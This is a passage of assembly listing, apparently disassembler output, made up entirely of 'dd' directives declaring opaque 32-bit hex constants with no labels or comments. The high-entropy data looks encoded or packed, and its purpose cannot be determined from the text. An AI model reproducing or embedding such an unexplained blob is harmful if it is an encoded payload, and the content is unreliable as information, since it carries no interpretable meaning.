		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah
		dd 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h
		dd 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h
		dd 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh
		dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
		dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
		dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
		dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
		dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
		dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h,	0AC907784h
		dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh,	0B6AB362Ah
		dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
		dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
		dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
		dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h,	5B0033A7h
		dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
		dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch,	93DBE848h
		dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
		dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h,	29891600h
		dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
		dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
		dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
		dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
		dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
		dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
		dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
		dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
		dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h,	21D62D00h
		dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
		dd 3C20614h, 0A6F0997h,	0CAA11A9Ch, 983DF005h, 165C6B7Bh
		dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
		dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
		dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h,	0E20085F5h
		dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
		dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
		dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh,	0E4471019h
		dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h,	2851001Ch
		dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
		dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
		dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
		dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
		dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
		dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
		dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
		dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
		dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
		dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch,	53040748h
		dd 62F5AB7Dh, 9E02368h,	0DF0093F7h, 0D89DBFEDh,	0EAD544FEh
		dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
		dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
		dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h,	0C4C500F7h
		dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h,	40AD5708h
		dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
		dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
		dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
		dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h,	72011Fh
		dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
		dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
		dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
		dd 7E1960Bh, 2F571327h,	51B8E010h, 9E3E18C0h, 21C026Dh
		dd 0E06FE80Bh, 4E1660h,	0BA673021h, 0E52E70A4h,	8CBBE000h
		dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h,	2052E51Eh
		dd 2B27C880h, 0EFD00Ah,	0BE848D4Fh, 0C7751D83h,	0A5F2D700h
		dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
		dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h,	94900853h
		dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh,	95009436h
		dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h,	563C75FDh
		dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h,	0AFAA50BCh
		dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
		dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h,	0FF892EE4h
		dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
		dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
		dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
		dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
		dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
		dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
		dd 1C781532h, 328890Ah,	18452059h, 1DE8F0FBh, 4A7AC7EAh
		dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh,	0F82B007Eh
		dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch,	1700EAB9h
		dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
		dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
		dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
		dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh,	0FC4400A4h
		dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
		dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h,	0C2C38449h
		dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
		dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh,	0CAC13994h
		dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
		dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h,	4F1E086Dh
		dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h,	0FCC8BAB2h
		dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h,	1D880201h
		dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
		dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
		dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h,	98ECCEF6h
		dd 586179F5h, 2008DBDh,	898F0C6Dh, 0FC002938h, 4F63CE5Eh
		dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh,	0CCEAD723h
		dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
		dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
		dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h,	0D4C40BC8h
		dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
		dd 0C8D8D707h, 6457EAh,	1328F7E4h, 8FCA2443h, 763D2673h
		dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
		dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
		dd 1DC2F94Ch, 0B05F07EBh
		dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
		dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh,	0CD3788B0h
		dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
		dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
		dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h,	32A7E16h
		dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
		dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
		dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
		dd 0C50AEEh, 521502E1h,	0A012DA55h, 8301A6A5h, 9CFF305Ch
		dd 3C1B7BCCh, 7FC1486h,	1CF83101h, 0C21AF052h, 0EA01C1D0h
		dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
		dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h,	0E43C5EC7h
		dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
		dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh,	9E7E8C3Bh
		dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
		dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
		dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
		dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
		dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
		dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
		dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
		dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
		dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h,	510203C4h
		dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh,	0F8E76783h
		dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h,	1982BCEh
		dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h,	8C5F3FB8h
		dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
		dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
		dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
		dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
		dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
		dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
		dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h,	27230054h
		dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
		dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
		dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh,	0C89C074Dh
		dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h,	32205F74h
		dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
		dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
		dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
		dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
		dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
		dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
		dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
		dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
		dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
		dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
		dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h,	40CF8B7Bh
		dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
		dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah,	0F0F87CE0h
		dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
		dd 167F425h, 2F2DC55Fh,	0F59E8351h, 6688F405h, 53153707h
		dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h,	365D3857h
		dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah,	21565762h
		dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
		dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
		dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
		dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h,	2CA92300h
		dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h,	0E0185E00h
		dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
		dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h,	0BF06CAB6h
		dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
		dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
		dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
		dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh,	6A00F277h
		dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
		dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
		dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
		dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
		dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h,	2413CE5Eh
		dd 0AD6C7Ch, 59A94E82h,	0A20E9048h, 40A14434h, 2058B9A4h
		dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
		dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
		dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
		dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
		dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
		dd 1C5DCAFAh, 3E9E055h,	0A468D900h, 81D4B785h, 0C4900029h
		dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h,	0C4AD0064h
		dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
		dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
		dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
		dd 744C8EEh, 23E2475Ch,	9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
		dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h,	60318925h
		dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
		dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
		dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
		dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
		dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
		dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
		dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
		dd 52510F00h, 9FB35D2h,	0E68E009Ah, 0A6E9661h, 3000C481h
		dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
		dd 21DFDAEh, 89D838FEh,	0C108071Eh, 14100E0Ch, 207D2016h
		dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
		dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
		dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
		dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
		dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh,	0E6D8B7CBh
		dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h,	5CD72F89h
		dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h,	70D4E8D3h
		dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
		dd 32DC1F6Ah, 7FC0AD1Fh
		dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
		dd 2402D6F8h, 0C82D66h,	505553B4h, 22579856h, 0F00FB901h
		dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
		dd 0F4EE3B13h, 5E76F0h,	5A8FD15h, 8C5C8B38h, 4CFC831Ch
		dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h,	0F7282474h
		dd 7440698h, 62336815h,	0C71CD0FFh, 17CC849h, 890080ECh
		dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
		dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
		dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
		dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
		dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
		dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
		dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
		dd 25013C0h, 527E5411h,	5295800h, 0C4860CDh, 0FAA6005Ch
		dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h,	8D29C8D9h
		dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh,	136BB28h
		dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
		dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
		dd 0D200F35h, 2C35943h,	6D316C62h, 8840098Dh, 15017310h
		dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
		dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
		dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
		dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
		dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh,	7B2738Ch
		dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah,	0A4003B29h
		dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
		dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh,	0C005DAFDh
		dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch,	0E0587D6Eh
		dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
		dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
		dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
		dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
		dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
		dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
		dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
		dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h,	0C1A9C14h
		dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
		dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
		dd 80C092DAh, 0F4887Ah,	0D741529Ah, 0CA03140Bh,	89770600h
		dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
		dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h,	44FD6Fh
		dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
		dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
		dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
		dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
		dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
		dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
		dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
		dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
		dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h,	2BD00024h
		dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
		dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h,	0F286Eh
		dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
		dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h,	0CB47C370h
		dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h,	27E75AFDh
		dd 0D190C3h, 406A8726h,	1E100668h, 84E3F900h, 2C1F62BAh
		dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh,	0A8178044h
		dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
		dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
		dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
		dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
		dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
		dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh,	0FCF80FDh
		dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
		dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh,	0FA18D2CBh
		dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
		dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
		dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
		dd 387225Ah, 56824C75h,	539B425Bh, 724D45A8h, 18DB7F00h
		dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
		dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
		dd 0FC0010C6h, 800203h,	0F3E4E938h, 11C9798h, 0C23A8300h
		dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
		dd 17A95AAh, 6F1CA5A3h,	0E8744DCEh, 0B80037D4h,	97778AE3h
		dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
		dd 70291FEEh, 9CEC0E9h,	0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
		dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh,	14C0C3F1h
		dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh,	0B2523E4Bh
		dd 3E9A776h, 29E5F810h,	0FCB8401Ch, 0ED58DBE8h,	0D5371E65h
		dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h,	87453D80h
		dd 6F936400h, 6D37803h,	20050055h, 2608A11Bh, 44006209h
		dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
		dd 541A1500h, 0AC2EDC8Ah
		dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h,	7AD95F7h
		dd 804893D8h, 875C05Dh,	141FCCD3h, 6C02CA3h, 18F7C62Dh
